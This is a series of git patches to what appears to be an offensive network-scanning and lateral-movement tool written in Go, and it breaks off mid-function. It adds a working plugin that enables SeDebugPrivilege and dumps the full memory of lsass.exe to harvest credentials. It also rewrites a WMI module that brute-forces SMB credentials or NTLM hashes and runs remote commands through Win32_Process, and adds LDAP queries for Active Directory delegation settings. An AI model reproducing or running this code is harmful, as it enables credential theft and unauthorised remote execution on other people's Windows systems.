Common.RegisterPlugin("dcinfo", Common.ScanPlugin{ + Name: "DCInfo", + Ports: []int{}, // 本地信息收集不需要端口 + ScanFunc: Plugins.DCInfoScan, + }) + + Common.RegisterPlugin("minidump", Common.ScanPlugin{ + Name: "MiniDump", + Ports: []int{}, // 本地信息收集不需要端口 + ScanFunc: Plugins.MiniDump, + }) } diff --git a/Plugins/MiniDump.go b/Plugins/MiniDump.go new file mode 100644 index 0000000..94f4c8f --- /dev/null +++ b/Plugins/MiniDump.go @@ -0,0 +1,287 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "log" + "os" + "path/filepath" + "syscall" + "unsafe" +) + +const ( + TH32CS_SNAPPROCESS = 0x00000002 + INVALID_HANDLE_VALUE = ^uintptr(0) + MAX_PATH = 260 + + PROCESS_ALL_ACCESS = 0x1F0FFF + SE_PRIVILEGE_ENABLED = 0x00000002 + + ERROR_SUCCESS = 0 +) + +type PROCESSENTRY32 struct { + dwSize uint32 + cntUsage uint32 + th32ProcessID uint32 + th32DefaultHeapID uintptr + th32ModuleID uint32 + cntThreads uint32 + th32ParentProcessID uint32 + pcPriClassBase int32 + dwFlags uint32 + szExeFile [MAX_PATH]uint16 +} + +type LUID struct { + LowPart uint32 + HighPart int32 +} + +type LUID_AND_ATTRIBUTES struct { + Luid LUID + Attributes uint32 +} + +type TOKEN_PRIVILEGES struct { + PrivilegeCount uint32 + Privileges [1]LUID_AND_ATTRIBUTES +} + +// ProcessManager 处理进程相关操作 +type ProcessManager struct { + kernel32 *syscall.DLL + dbghelp *syscall.DLL + advapi32 *syscall.DLL +} + +// 创建新的进程管理器 +func NewProcessManager() (*ProcessManager, error) { + kernel32, err := syscall.LoadDLL("kernel32.dll") + if err != nil { + return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err) + } + + dbghelp, err := syscall.LoadDLL("Dbghelp.dll") + if err != nil { + return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err) + } + + advapi32, err := syscall.LoadDLL("advapi32.dll") + if err != nil { + return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err) + } + + return &ProcessManager{ + kernel32: kernel32, + dbghelp: dbghelp, + advapi32: advapi32, + }, nil +} + +func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { + proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot") + handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) + if handle == uintptr(INVALID_HANDLE_VALUE) { + return 0, fmt.Errorf("创建进程快照失败: %v", err) + } + return handle, nil +} + +func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) { + var pe32 PROCESSENTRY32 + pe32.dwSize = uint32(unsafe.Sizeof(pe32)) + + proc32First := pm.kernel32.MustFindProc("Process32FirstW") + proc32Next := pm.kernel32.MustFindProc("Process32NextW") + lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW") + + ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) + if ret == 0 { + return 0, fmt.Errorf("获取第一个进程失败") + } + + for { + ret, _, _ = lstrcmpi.Call( + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))), + uintptr(unsafe.Pointer(&pe32.szExeFile[0])), + ) + + if ret == 0 { + return pe32.th32ProcessID, nil + } + + ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) + if ret == 0 { + break + } + } + + return 0, fmt.Errorf("未找到进程: %s", name) +} + +func (pm *ProcessManager) closeHandle(handle uintptr) { + proc := pm.kernel32.MustFindProc("CloseHandle") + proc.Call(handle) +} + +func (pm *ProcessManager) ElevatePrivileges() error { + handle, err := pm.getCurrentProcess() + if err != nil { + return err + } + + var token syscall.Token + err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token) + if err != nil { + return fmt.Errorf("打开进程令牌失败: %v", err) + } + defer token.Close() + + var tokenPrivileges TOKEN_PRIVILEGES + + lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW") + ret, _, err := lookupPrivilegeValue.Call( + 0, + uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))), + uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)), + ) + if ret == 0 { + return fmt.Errorf("查找特权值失败: %v", err) + } + + tokenPrivileges.PrivilegeCount = 1 + tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED + + adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges") + ret, _, err = adjustTokenPrivileges.Call( + uintptr(token), + 0, + uintptr(unsafe.Pointer(&tokenPrivileges)), + 0, + 0, + 0, + ) + if ret == 0 { + return fmt.Errorf("调整令牌特权失败: %v", err) + } + + return nil +} + +func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) { + proc := pm.kernel32.MustFindProc("GetCurrentProcess") + handle, _, _ := proc.Call() + if handle == 0 { + return 0, fmt.Errorf("获取当前进程句柄失败") + } + return syscall.Handle(handle), nil +} + +func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error { + processHandle, err := pm.openProcess(pid) + if err != nil { + return err + } + defer pm.closeHandle(processHandle) + + fileHandle, err := pm.createDumpFile(outputPath) + if err != nil { + return err + } + defer pm.closeHandle(fileHandle) + + miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump") + ret, _, err := miniDumpWriteDump.Call( + processHandle, + uintptr(pid), + fileHandle, + 0x00061907, // MiniDumpWithFullMemory + 0, + 0, + 0, + ) + + if ret == 0 { + return fmt.Errorf("写入转储文件失败: %v", err) + } + + return nil +} + +func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { + proc := pm.kernel32.MustFindProc("OpenProcess") + handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) + if handle == 0 { + return 0, fmt.Errorf("打开进程失败: %v", err) + } + return handle, nil +} + +func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { + pathPtr, err := syscall.UTF16PtrFromString(path) + if err != nil { + return 0, err + } + + createFile := pm.kernel32.MustFindProc("CreateFileW") + handle, _, err := createFile.Call( + uintptr(unsafe.Pointer(pathPtr)), + syscall.GENERIC_WRITE, + 0, + 0, + syscall.CREATE_ALWAYS, + syscall.FILE_ATTRIBUTE_NORMAL, + 0, + ) + + if handle == INVALID_HANDLE_VALUE { + return 0, fmt.Errorf("创建文件失败: %v", err) + } + + return handle, nil +} + +// 查找目标进程 +func (pm *ProcessManager) FindProcess(name string) (uint32, error) { + snapshot, err := pm.createProcessSnapshot() + if err != nil { + return 0, err + } + defer pm.closeHandle(snapshot) + + return pm.findProcessInSnapshot(snapshot, name) +} + +func MiniDump(info *Common.HostInfo) (err error) { + pm, err := NewProcessManager() + if err != nil { + log.Fatalf("初始化进程管理器失败: %v", err) + } + + // 查找 lsass.exe + pid, err := pm.FindProcess("lsass.exe") + if err != nil { + log.Fatalf("查找进程失败: %v", err) + } + fmt.Printf("找到进程 lsass.exe, PID: %d\n", pid) + + // 提升权限 + if err := pm.ElevatePrivileges(); err != nil { + log.Fatalf("提升权限失败: %v", err) + } + fmt.Println("成功提升进程权限") + + // 创建输出路径 + outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid)) + + // 执行转储 + if err := pm.DumpProcess(pid, outputPath); err != nil { + log.Fatalf("进程转储失败: %v", err) + os.Remove(outputPath) + } + + fmt.Printf("成功将进程内存转储到文件: %s\n", outputPath) + return nil +} From ee1d176a8ffa5662de8be846d202695abe23ff16 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 28 Dec 2024 06:02:01 +0800 Subject: [PATCH 155/188] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84WMIExec?= =?UTF-8?q?=E6=A8=A1=E5=9D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/WMIExec.go | 103 ++++++++++++++++++++------------------------- go.mod | 2 + go.sum | 7 +++ 3 files changed, 55 insertions(+), 57 deletions(-) diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index a55f1f7..262c1fd 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -1,28 +1,24 @@ package Plugins import ( - "errors" "fmt" + "github.com/go-ole/go-ole" + "github.com/go-ole/go-ole/oleutil" "github.com/shadow1ng/fscan/Common" "os" "strings" "time" - - "github.com/C-Sto/goWMIExec/pkg/wmiexec" ) -// 全局变量 var ( - ClientHost string // 客户端主机名 - flag bool // 初始化标志 + ClientHost string + flag bool ) -// init 初始化函数 func init() { if flag { return } - // 获取主机名 clientHost, err := os.Hostname() if err != nil { fmt.Println(err) @@ -31,33 +27,25 @@ func init() { flag = true } -// WmiExec 执行WMI远程命令 func WmiExec(info *Common.HostInfo) (tmperr error) { - // 如果是暴力破解模式则跳过 if Common.DisableBrute { return nil } starttime := time.Now().Unix() - // 遍历用户字典 for _, user := range Common.Userdict["smb"] { PASS: - // 遍历密码字典 for _, pass := range Common.Passwords { - // 替换密码模板中的用户名 pass = strings.Replace(pass, "{user}", user, -1) - // 尝试WMI连接 flag, err := Wmiexec(info, user, pass, Common.HashValue) - // 记录错误日志 errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog = strings.Replace(errlog, "\n", "", -1) Common.LogError(errlog) if flag { - // 成功连接,记录结果 var result string if Common.Domain != "" { result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user) @@ -65,7 +53,6 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user) } - // 添加认证信息到结果 if Common.HashValue != "" { result += "hash: " + Common.HashValue } else { @@ -75,17 +62,14 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { return err } else { tmperr = err - // 检查错误是否需要终止 if Common.CheckErrs(err) { return err } - // 检查是否超时 if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) { return err } } - // 如果使用NTLM HashValue,则跳过密码循环 if len(Common.HashValue) == 32 { break PASS } @@ -94,63 +78,68 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { return tmperr } -// Wmiexec 包装WMI执行函数 func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) - wmiexec.Timeout = int(Common.Timeout) - return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil) + return WMIExec(target, user, pass, hash, Common.Domain, Common.Command) } -// WMIExec 执行WMI远程命令 -func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) { - // 初始化WMI配置 - if cfgIn == nil { - cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil) - if err1 != nil { - err = err1 - return - } - cfgIn = &cfg - } - - // 创建WMI执行器 - execer := wmiexec.NewExecer(cfgIn) - - // 设置目标绑定 - err = execer.SetTargetBinding(binding) +func WMIExec(target, username, password, hash, domain, command string) (flag bool, err error) { + err = ole.CoInitialize(0) if err != nil { - return + return false, err + } + defer ole.CoUninitialize() + + // 构建认证字符串 + var auth string + if domain != "" { + auth = fmt.Sprintf("%s\\%s:%s", domain, username, password) + } else { + auth = fmt.Sprintf("%s:%s", username, password) } - // 进行认证 - err = execer.Auth() + // 构建WMI连接字符串 + connectStr := fmt.Sprintf("winmgmts://%s@%s/root/cimv2", auth, target) + + unknown, err := oleutil.CreateObject("WbemScripting.SWbemLocator") if err != nil { - return + return false, err } + defer unknown.Release() + + wmi, err := unknown.QueryInterface(ole.IID_IDispatch) + if err != nil { + return false, err + } + defer wmi.Release() + + // 使用connectStr来建立连接 + service, err := oleutil.CallMethod(wmi, "ConnectServer", "", connectStr) + if err != nil { + return false, err + } + defer service.Clear() + + // 连接成功 flag = true // 如果有命令则执行 if command != "" { - // 使用cmd.exe执行命令 command = "C:\\Windows\\system32\\cmd.exe /c " + command - // 检查RPC端口 - if execer.TargetRPCPort == 0 { - err = errors.New("RPC端口为0,无法连接") - return - } - - // 建立RPC连接 - err = execer.RPCConnect() + // 创建Win32_Process对象来执行命令 + process, err := oleutil.CallMethod(service.ToIDispatch(), "Get", "Win32_Process") if err != nil { - return + return flag, err } + defer process.Clear() // 执行命令 - err = execer.Exec(command) + _, err = oleutil.CallMethod(process.ToIDispatch(), "Create", command) if err != nil { - return + return flag, err } } - return + + return flag, nil } diff --git a/go.mod b/go.mod index 5950d64..ea331d4 100644 --- a/go.mod +++ b/go.mod @@ -40,6 +40,7 @@ require ( filippo.io/edwards25519 v1.1.0 // indirect github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect github.com/BurntSushi/toml v0.3.1 // indirect + github.com/StackExchange/wmi v1.2.1 // indirect github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect github.com/davecgh/go-spew v1.1.1 // indirect @@ -48,6 +49,7 @@ require ( github.com/eapache/queue v1.1.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect + github.com/go-ole/go-ole v1.3.0 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect diff --git a/go.sum b/go.sum index 788d656..5e2bb0e 100644 --- a/go.sum +++ b/go.sum @@ -24,6 +24,8 @@ github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym github.com/IBM/sarama v1.43.3 h1:Yj6L2IaNvb2mRBop39N7mmJAHBVY3dTPncr3qGVkxPA= github.com/IBM/sarama v1.43.3/go.mod h1:FVIRaLrhK3Cla/9FfRF5X9Zua2KpS3SYIXxhac1H+FQ= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= +github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA= +github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8= github.com/Ullaakut/nmap v2.0.2+incompatible h1:edw45QpSQBQ2B/Hqfg86Bt5rrK79tp/fAcqIHyNSdQs= github.com/Ullaakut/nmap v2.0.2+incompatible/go.mod h1:fkC066hwfcoKwlI7DS2ARTggSVtBTZYCjVH1TzuTMaQ= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= @@ -87,6 +89,9 @@ github.com/go-ldap/ldap/v3 v3.4.9 h1:KxX9eO44/MpqPXVVMPJDB+k/35GEePHE/Jfvl7oRMUo github.com/go-ldap/ldap/v3 v3.4.9/go.mod h1:+CE/4PPOOdEPGTi2B7qXKQOq+pNBvXZtlBNcVZY0AWI= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= +github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= github.com/go-resty/resty/v2 v2.16.2 h1:CpRqTjIzq/rweXUt9+GxzzQdlkqMdt8Lm/fuK/CAbAg= github.com/go-resty/resty/v2 v2.16.2/go.mod h1:0fHAoK7JoBy/Ch36N8VFeMsK7xQOHhvWaC3iOktwmIU= github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= @@ -480,6 +485,7 @@ golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -494,6 +500,7 @@ golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= From 0954492540ddbb7999bcb9e9f07bb4bca653c239 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 28 Dec 2024 06:34:37 +0800 Subject: [PATCH 156/188] =?UTF-8?q?refactor:=20=E5=A2=9E=E5=8A=A0=E7=BA=A6?= =?UTF-8?q?=E6=9D=9F=E7=BC=96=E8=AF=91?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/DCInfo.go | 6 ++++-- Plugins/DCInfoUnix.go | 9 +++++++++ Plugins/MiniDump.go | 2 ++ Plugins/MiniDumpUnix.go | 9 +++++++++ 4 files changed, 24 insertions(+), 2 deletions(-) create mode 100644 Plugins/DCInfoUnix.go create mode 100644 Plugins/MiniDumpUnix.go diff --git a/Plugins/DCInfo.go b/Plugins/DCInfo.go index 62222b2..8990e1a 100644 --- a/Plugins/DCInfo.go +++ b/Plugins/DCInfo.go @@ -1,3 +1,5 @@ +//go:build windows + package Plugins import ( @@ -385,8 +387,8 @@ func (d *DomainInfo) GetAdminGroups() (map[string][]string, error) { // 获取委派信息 func (d *DomainInfo) GetDelegation() (map[string][]string, error) { delegationQueries := map[string]string{ - "非约束委派": "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))", - "约束委派": "(msDS-AllowedToDelegateTo=*)", + "非约束委派": "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))", + "约束委派": "(msDS-AllowedToDelegateTo=*)", "基于资源的约束委派": "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)", } diff --git a/Plugins/DCInfoUnix.go b/Plugins/DCInfoUnix.go new file mode 100644 index 0000000..7d9c54d --- /dev/null +++ b/Plugins/DCInfoUnix.go @@ -0,0 +1,9 @@ +//go:build !windows + +package Plugins + +import "github.com/shadow1ng/fscan/Common" + +func DCInfoScan(info *Common.HostInfo) (err error) { + return nil +} diff --git a/Plugins/MiniDump.go b/Plugins/MiniDump.go index 94f4c8f..6613361 100644 --- a/Plugins/MiniDump.go +++ b/Plugins/MiniDump.go @@ -1,3 +1,5 @@ +//go:build windows + package Plugins import ( diff --git a/Plugins/MiniDumpUnix.go b/Plugins/MiniDumpUnix.go new file mode 100644 index 0000000..25fb40d --- /dev/null +++ b/Plugins/MiniDumpUnix.go @@ -0,0 +1,9 @@ +//go:build !windows + +package Plugins + +import "github.com/shadow1ng/fscan/Common" + +func MiniDump(info *Common.HostInfo) (err error) { + return nil +} From 2ce7041c95c89398552f39dc0714ca886ee20a20 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sat, 28 Dec 2024 06:19:25 +0800 Subject: [PATCH 157/188] =?UTF-8?q?refactor:=20=E5=8E=BB=E6=8E=89UDP?= =?UTF-8?q?=E6=89=AB=E6=8F=8F=E3=80=81=E4=BC=98=E5=8C=96=E4=BA=86DCInfo?= =?UTF-8?q?=E5=92=8CMiniDump=E7=9A=84=E6=A3=80=E6=B5=8B=E6=9C=BA=E5=88=B6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 - Common/Flag.go | 1 - Common/ParsePort.go | 1 - Common/ParseScanMode.go | 4 ---- Common/Ports.go | 5 ++--- Core/PortScan.go | 8 +------- Plugins/DCInfo.go | 27 +++++++++++++++++++++++++++ Plugins/MiniDump.go | 35 ++++++++++++++++++++++++++++++----- 8 files changed, 60 insertions(+), 22 deletions(-) diff --git a/Common/Config.go b/Common/Config.go index 8f7221c..9037854 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -55,7 +55,6 @@ var ( ScanMode string // 原Scantype ThreadNum int // 原Threads UseSynScan bool - UseUdpScan bool Timeout int64 = 3 LiveTop int DisablePing bool // 原NoPing diff --git a/Common/Flag.go b/Common/Flag.go index a308c44..8f04032 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -73,7 +73,6 @@ func Flag(Info *HostInfo) { " 漏洞类: ms17010, smbghost, smb2\n"+ " 其他: findnet, wmiexec, localinfo") flag.BoolVar(&UseSynScan, "sS", false, "使用SYN扫描替代TCP全连接扫描(需要root/管理员权限)") - flag.BoolVar(&UseUdpScan, "sU", false, "使用UDP扫描(部分端口自动使用UDP协议)") flag.IntVar(&ThreadNum, "t", 600, "设置扫描线程数") flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)") flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机") diff --git a/Common/ParsePort.go b/Common/ParsePort.go index f8a3453..770b97b 100644 --- a/Common/ParsePort.go +++ b/Common/ParsePort.go @@ -14,7 +14,6 @@ func ParsePort(ports string) []int { "service": ServicePorts, "db": DbPorts, "web": WebPorts, - "udp": UDPPorts, "all": AllPorts, "main": MainPorts, } diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 5733edc..2868ee5 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -13,7 +13,6 @@ const ( ModePort = "Port" // 端口扫描 ModeICMP = "ICMP" // ICMP探测 ModeLocal = "Local" // 本地信息收集 - ModeUDP = "UDP" //UDP扫描 ) // 插件分类映射表 - 所有插件名使用小写 @@ -45,9 +44,6 @@ var pluginGroups = map[string][]string{ ModeLocal: { "localinfo", }, - ModeUDP: { - "snmp", - }, } // ParseScanMode 解析扫描模式 diff --git a/Common/Ports.go b/Common/Ports.go index 85a7f45..cf5bbab 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,12 +5,11 @@ import ( "strings" ) -var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" +var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" -var UDPPorts = "161" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/PortScan.go b/Core/PortScan.go index 8cf86c6..f478556 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -91,10 +91,7 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy var isOpen bool var err error - if Common.UseUdpScan { - // UDP扫描 - isOpen, err = UDPScan(addr.ip, addr.port, timeout) - } else if Common.UseSynScan { + if Common.UseSynScan { // SYN扫描 isOpen, err = SynScan(addr.ip, addr.port, timeout) } else { @@ -115,9 +112,6 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy // 记录开放端口 address := fmt.Sprintf("%s:%d", addr.ip, addr.port) protocol := "TCP" - if Common.UseUdpScan { - protocol = "UDP" - } result := fmt.Sprintf("[+] %s端口开放 %s", protocol, address) Common.LogSuccess(result) diff --git a/Plugins/DCInfo.go b/Plugins/DCInfo.go index 62222b2..8beaca5 100644 --- a/Plugins/DCInfo.go +++ b/Plugins/DCInfo.go @@ -8,6 +8,8 @@ import ( "os/exec" "strconv" "strings" + "syscall" + "unsafe" "github.com/go-ldap/ldap/v3" ) @@ -656,7 +658,32 @@ func NewDomainInfo() (*DomainInfo, error) { }, nil } +// 检查是否在域环境中 +func IsInDomain() bool { + // 获取计算机域成员身份信息 + var joinStatus uint32 + var buffer uint32 + + ret, _, _ := syscall.NewLazyDLL("netapi32.dll").NewProc("NetGetJoinInformation").Call( + 0, + uintptr(unsafe.Pointer(&joinStatus)), + uintptr(unsafe.Pointer(&buffer)), + ) + + if ret == 0 { + // 清理资源 + syscall.NewLazyDLL("netapi32.dll").NewProc("NetApiBufferFree").Call(uintptr(buffer)) + // 检查是否为域成员 + return joinStatus == 3 // 3 = NetSetupDomainName 表示是域成员 + } + return false +} + func DCInfoScan(info *Common.HostInfo) (err error) { + if !IsInDomain() { + return fmt.Errorf("当前系统不在域环境中") + } + // 创建DomainInfo实例,使用当前用户凭据 di, err := NewDomainInfo() if err != nil { diff --git a/Plugins/MiniDump.go b/Plugins/MiniDump.go index 94f4c8f..50aa015 100644 --- a/Plugins/MiniDump.go +++ b/Plugins/MiniDump.go @@ -3,7 +3,7 @@ package Plugins import ( "fmt" "github.com/shadow1ng/fscan/Common" - "log" + "golang.org/x/sys/windows" "os" "path/filepath" "syscall" @@ -254,22 +254,47 @@ func (pm *ProcessManager) FindProcess(name string) (uint32, error) { return pm.findProcessInSnapshot(snapshot, name) } +// 检查是否具有管理员权限 +func IsAdmin() bool { + var sid *windows.SID + err := windows.AllocateAndInitializeSid( + &windows.SECURITY_NT_AUTHORITY, + 2, + windows.SECURITY_BUILTIN_DOMAIN_RID, + windows.DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, + &sid) + if err != nil { + return false + } + defer windows.FreeSid(sid) + + token := windows.Token(0) + member, err := token.IsMember(sid) + return err == nil && member +} + func MiniDump(info *Common.HostInfo) (err error) { + // 先检查管理员权限 + if !IsAdmin() { + return 